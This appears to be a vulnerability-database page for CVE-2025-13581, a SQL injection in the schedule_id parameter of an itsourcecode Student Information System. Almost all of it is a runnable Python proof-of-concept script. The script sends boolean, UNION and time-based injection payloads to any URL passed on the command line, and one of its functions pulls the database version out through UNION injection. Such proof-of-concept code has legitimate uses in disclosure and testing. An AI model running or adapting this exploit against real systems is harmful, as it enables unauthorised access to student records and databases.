CVE-2025-13581 | itsourcecode学生信息系统schedule_edit1.php SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13581 PoC - SQL Injection in itsourcecode Student Information System Affected file: /schedule_edit1.php Parameter: schedule_id """ import requests import sys target_url = "http://target-server/schedule_edit1.php" def test_sql_injection(url): """Test for SQL injection vulnerability in schedule_id parameter""" # Basic test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' OR 1=1--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing SQL injection on {url}") for payload in payloads: params = {'schedule_id': payload} try: response = requests.get(url, params=params, headers=headers, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Testing complete") def extract_database_info(url): """Extract database information using UNION-based injection""" # UNION-based injection to extract database version payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL--" params = {'schedule_id': payload} headers = {'User-Agent': 'Mozilla/5.0'} try: response = requests.get(url, params=params, headers=headers, timeout=10) if '5.' in response.text or '8.' in response.text: print("[+] Database version information found in response") return True except: pass return False if __name__ == '__main__': if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)